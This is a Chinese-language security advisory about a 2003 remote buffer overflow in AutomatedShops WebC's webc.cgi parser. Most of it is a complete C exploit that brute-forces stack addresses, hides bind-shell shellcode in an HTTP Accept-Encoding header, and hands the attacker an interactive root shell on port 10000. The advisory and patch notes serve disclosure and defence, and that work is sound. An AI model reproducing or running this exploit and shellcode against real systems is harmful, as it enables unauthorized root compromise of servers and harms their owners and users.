安全研究
安全漏洞
AutomatedShops WebC脚本名字远程缓冲区溢出漏洞
发布日期：2003-04-04
更新日期：2003-04-10
受影响系统：
AutomatedShops WebC 5.010不受影响系统：
AutomatedShops WebC 5.005
AutomatedShops WebC 5.0
AutomatedShops WebC 2.011
AutomatedShops WebC 5.020描述：
BUGTRAQ ID: 7268
WebC是一款服务器端脚本语言，调用webc.cgi解析器进行解析，经常用于电子购物应用程序中。
WebC在处理超长脚本名时没有进行正确缓冲区边界检查，远程攻击者可以利用这个漏洞进行缓冲区溢出，可能以root用户权限在系统上执行任意指令。
webc.cgi解析器可以传递WebC脚本进行命令执行：
http://www.vuln.com/cgi-bin/webc.cgi/name-of-script
通过传递超长脚本名，可溢出堆栈中的缓冲区，精心提交脚本名请求，可能以root用户权限在系统上执行任意指令。
<*来源：Carl Livitt （carl@learningshophull.co.uk）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=104940478016596&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.vuln.com/cgi-bin/webc.cgi/AAAAAAAAAAA ... ( ~ 550 A chars)
Carl Livitt（carl@learningshophull.co.uk） 提供了如下测试程序：
/*
AutomatedShops WebC 2.011 -> 5.005 remote exploit.
By Carl Livitt 3/Apr/2003
** PUBLIC RELEASE VERSION - Linux targets only **
Usage:
./webc-exploit -t HOSTNAME
Brute-forces all necessary values. YMMV.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
/*
* Play with these to make it work (if it fails!)
*/
#define RET_ADDR_START 0xbfffe949
#define RET_ADDR_END 0xbffff850
#define RET_ADDR_INCR 768
#define EBP_ADDR_START 0xbfffe84c
#define EBP_ADDR_END 0xbffff852
#define EBP_ADDR_INCR 768
#define ROOT_SHELL_PORT 10000
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"
// don't adjust this
#define BUF_SIZE 2048
void make_shellcode(int);
void make_exploit_buffer();
void make_boundary_buffer();
char shellcode[] =
// setuid(0),setgid(0)... (just in case ;)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
// ...fork(). Parent terminates, killing webc.cgi but
// leaving child process as a daemon...
"\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
"\xb0\x01\xcd\x80"
// ...finally, bind shell (/bin/sh) to port 10000 (by default).
// This is a butchered version of port-binding shellcode by
// BigHawk.
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
"\x89\xc7\x52\x66\x68"
"XX" // XX is port number - gets filled in later
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
"\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
"\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
char sc[BUF_SIZE*2+2];
char exploit_buf[100000];
char target[256];
int port=80;
//char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000];
char orig_location[4096]="/cgi-bin/webc.cgi/~carl/g/", location[100000];
unsigned long RET_ADDR, EBP_ADDR;
int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;
char usage[]=
"Options:\n"
"-h This cruft\n"
"-t hostname Specify target host\n"
"-a n Add extra padding, start at value 'n'\n"
"-A n Add extra padding, stop at value 'n'\n\n"
"Usage:\n\n"
" ./webc-exploit -t localhost\n\n"
"Should work on any WebC installation (versions 5.001 - 5.005)\n\n";
char greeting[]=
"WebC 5.00x proof-of-concept exploit for Linux\n"
"By Carl Livitt, Feb 2003\n\n";
char thingy[]="|/-\\";
/*
* The fun begins here...
*/
main(int argc, char **argv) {
int ch, websock, shellsock,r=1;
struct hostent *host;
struct sockaddr_in saddr;
char buf[8092];
char cmd[256];
int tries=0;
struct timespec sleepTime;
fd_set rfds;
int retval, PADDING_START, PADDING_END;
int thingyCount=0;
printf("%s",greeting);
PADDING_START=550;
PADDING_END=800;
while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
switch(ch) {
case 'h':
printf("%s",usage);
exit(0);
break;
case 't':
strncpy(target, optarg, sizeof(target)-1);
break;
case 'a':
PADDING_START=atoi(optarg);
break;
case 'A':
PADDING_END=atoi(optarg);
break;
default:
printf("%s", usage);
exit(0);
break;
}
}
if((host=gethostbyname(target))==NULL) {
printf("Host not found. Usage:\n%s\n", usage);
exit(1);
}
/*
* Start the bruteforce loop
*/
for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
for(EBP_ADDR=EBP_ADDR_START; EBP_ADDR<EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR) {
for(PADDING=PADDING_START;PADDING<=PADDING_END;PADDING++){
for(ORDER=0;ORDER<=1;ORDER++) {
repeat=5;
while(repeat--) {
printf("Please wait, this may take a few minutes... \
%c\r",thingy[thingyCount]);fflush(stdout); /*
* Setup the exploit strings and
* HTTP headers. The Accept-Encoding header
* will hold shellcode: it will be passed
* to the environment of webshell giving us
* a reasonably predictable RET address.
*/
make_shellcode(ORDER);
make_boundary_buffer();
make_exploit_buffer();
/*
* Now connect to the host and send the exploit
* string...
*/
if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
saddr.sin_port=htons(port);
if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
perror("connect()");
exit(1);
}
send(websock, exploit_buf, strlen(exploit_buf), 0);
len=recv(websock, buf, sizeof(buf)-1, 0);
if(len > 0) {
printf("TRYING: RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, \
repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat); printf("%s\n\n", \
buf); }
close(websock);
// increment the counters
tries++;
if((++thingyCount)==4)
thingyCount=0;
// attempt to connect to port 10000 (or other, non-default port).
// If successful, we know the exploit succeeded.
if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
perror("socket()");
exit(1);
}
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long \
*)host->h_addr_list[0]); saddr.sin_port=htons(root_shell_port);
if(connect(shellsock, (struct sockaddr *)&saddr, \
sizeof(saddr))==0) goto CONNECTED; // goto? Damn amateurs...
close(shellsock);
EBP_ADDR--;
} // repeat
} // ORDER
} // PADDING
} // EBP_ADDR
} // RET_ADDR
/*
* If we get here, then the bruteforce was exhausted without a
* succesful exploit.
*/
printf("Exploit failed.\n");
exit(0);
CONNECTED:
/*
* We're now connected to the remote host. Issue
* some commands... ('id' and 'uname -a' by default)
*/
printf("\n------------------------------------\nExploit successful!\n");
printf("Explit values were:\n");
printf("RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", \
RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat); \
printf("--------------------------------------\nIssuing some commands...\n\n"); \
if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) { perror("send()");
exit(1);
}
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s", buf);
send(shellsock, COMMAND2, strlen(COMMAND2), 0);
buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
printf("%s\n", buf);
printf("You are now at a bash prompt...\n");
send(shellsock, "export TERM=vt100; exec bash -i\n",strlen("export \
TERM=vt100; exec bash -i\n"),0);
/*
* Now let the attacker issue commands to the remote
* shell, just as if (s)he had launched 'nc host 10000'.
* Note the dodgy coding of assigning NULLs to the buf[]
* array. What would happen if recv() or read() returned -1 ?
*/
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(shellsock, &rfds);
retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
if(retval) {
if(FD_ISSET(shellsock, &rfds)) {
buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
send(shellsock, buf, strlen(buf), 0);
}
}
} while(retval && r); // loop until connection terminates
close(shellsock);
exit(0);
}
/*
* Create the HTTP request that will setup the exploit
* conditions in webshell. Shellcode is stored in the
* Accept-Encoding HTTP header.
*/
void make_exploit_buffer() {
sprintf(exploit_buf,"GET %s HTTP/1.1\n",location);
sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
sprintf(exploit_buf,"%sAccept: \
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/ \
x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\n", exploit_buf); \
sprintf(exploit_buf,"%sAccept-Language: en-gb, en;q=0.66, en-us;q=0.33\n", \
exploit_buf); sprintf(exploit_buf,"%sAccept-Encoding: gzip, deflate, \
compress;q=0.9\n", exploit_buf); sprintf(exploit_buf,"%sAccept-Charset: ISO-8859-1, \
utf-8;q=0.66, *;q=0.66\n", exploit_buf); sprintf(exploit_buf,"%sCookie: \
ck_ams=00000; ck_amsv=11043763620; ck_sid=3J4EUD0l4Juf1ev-06103517452.aa\n", \
exploit_buf); sprintf(exploit_buf,"%sAccept-Encoding: %s\n\n",exploit_buf, sc);
//printf("%s\n\n", exploit_buf);
}
/*
* Create the buffer that overflows the stack...
*/
void make_boundary_buffer() {
int i;
char *ptr;
const int MAGIC=59;
memset(location, 0, sizeof(location));
strcpy(location, orig_location);
ptr=location;
while(*ptr)
++ptr;
i=PADDING%4;
while(i--)
*(ptr++)=0xbf;
i=MAGIC+(PADDING/4)-4;
while(i--) {
*(ptr++)=EBP_ADDR&0xff;
*(ptr++)=(EBP_ADDR>>8)&0xff;
*(ptr++)=(EBP_ADDR>>16)&0xff;
*(ptr++)=(EBP_ADDR>>24)&0xff;
}
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
*ptr='\0';
}
/*
* Creates a buffer holding NOPs and shellcode.
*/
void make_shellcode(int order) {
char *ptr;
int i;
// Finish making shellcode buffer
memset(sc, 0x90,BUF_SIZE);
memcpy(sc + BUF_SIZE - (strlen(shellcode)+1), shellcode, strlen(shellcode));
// Fill in the port number
ptr=strstr(sc, "XX");
*(ptr++)=htons(root_shell_port)&0xff;
*ptr=(htons(root_shell_port)>>8)&0xff;
ptr=(char *)sc+BUF_SIZE;
for(i=0;i<BUF_SIZE-4;i+=4) {
switch(order) {
case 0:
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
break;
case 1:
*(ptr++)=(RET_ADDR>>16)&0xff;
*(ptr++)=(RET_ADDR>>24)&0xff;
*(ptr++)=RET_ADDR&0xff;
*(ptr++)=(RET_ADDR>>8)&0xff;
break;
}
}
*ptr='\0';
}
// END OF REMOTE EXPLOIT
建议：
厂商补丁：
AutomatedShops
--------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
AutomatedShops Upgrade WebC 5.020
ftp://ftp.automatedshops.com/pub/webc/5.020/
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